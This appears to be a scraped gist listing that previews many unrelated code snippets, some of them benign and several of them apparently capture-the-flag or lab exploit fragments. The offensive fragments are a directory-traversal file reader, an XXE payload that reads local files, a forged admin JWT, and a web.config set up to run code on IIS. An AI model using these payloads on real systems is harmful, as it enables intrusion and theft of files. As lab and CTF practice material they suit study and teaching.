This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| alphabet = [i for i in range(32, 127)]+[10] | |
| getEnglish = lambda text: list(filter(lambda c: c in alphabet, text)) | |
| isEnglish = lambda text: len(getEnglish(text)) == len(text) | |
| with open('msg', 'rb') as f: | |
| encrypted = f.read() | |
| samples = [] | |
| for i in range(4): | |
| samples.append([val for index, val in enumerate(encrypted) if index % 4 == i]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <head> | |
| <title>Game</title> | |
| <meta charset="UTF-8"> | |
| <style> | |
| html, body { | |
| margin: 0px; | |
| padding: 0px; | |
| } | |
| /* https://www.dafont.com/typecast.font?l[]=10&l[]=1 */ | |
| @font-face { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /******************************************* | |
| * | |
| *This is an application to print out common log files | |
| * | |
| ********************************************/ | |
| #include "logMonitor.h" | |
| void printUsage() { | |
| printf("Usage: %s [-aAbdDfhklmsw] [--help]\n", PROGRAMNAME); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests as rq | |
| import sys, os | |
| url = "http://10.10.10.87/" | |
| headers={'Content-Type':'application/x-www-form-urlencoded'} | |
| startdir = "./.../...//.../...//.../...//" | |
| currentdir = startdir | |
| print("#########"*4+"\n# Directory traversal file reader. #\n# Commands: cd, ls, cat & clear. #\n"+"#########"*4) | |
| while True: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * Detects if two elements are colliding | |
| * | |
| * Credit goes to BC on Stack Overflow, cleaned up a little bit | |
| * | |
| * @link http://stackoverflow.com/questions/5419134/how-to-detect-if-two-divs-touch-with-jquery | |
| * @param $div1 | |
| * @param $div2 | |
| * @returns {boolean} | |
| */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version="1.0" encoding="UTF-8"?> | |
| <configuration> | |
| <system.webServer> | |
| <handlers accessPolicy="Read, Script, Write"> | |
| <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> | |
| </handlers> | |
| <security> | |
| <requestFiltering> | |
| <fileExtensions> | |
| <remove fileExtension=".config" /> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests as rq | |
| import sys | |
| filename = sys.argv[1] | |
| url = "http://10.10.10.91:5000/upload" | |
| data = """<?xml version="1.0"?> | |
| <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file://FD" >]> | |
| <Container> | |
| <Author></Author> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests as rq | |
| import jwt | |
| tokenData = { | |
| 'exp': 1538956189, | |
| 'iat': 0, | |
| 'sub': 0, | |
| 'admin': True | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| An AngularJS App to view details about a user's github profile. View it at https://georgeom.net/userSearcher/webpage.html | |
| Code spread across the 4 attached files. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests as rq | |
| for i in range(1,1000): | |
| headers = { | |
| "bring_back_random_click":"hhhhhhhhhh", | |
| } | |
| req = rq.get("http://web.chal.csaw.io:10106/default/", headers=headers) | |
| if len(req.text) != 243: | |
| print req.text[:-1] | |
| break |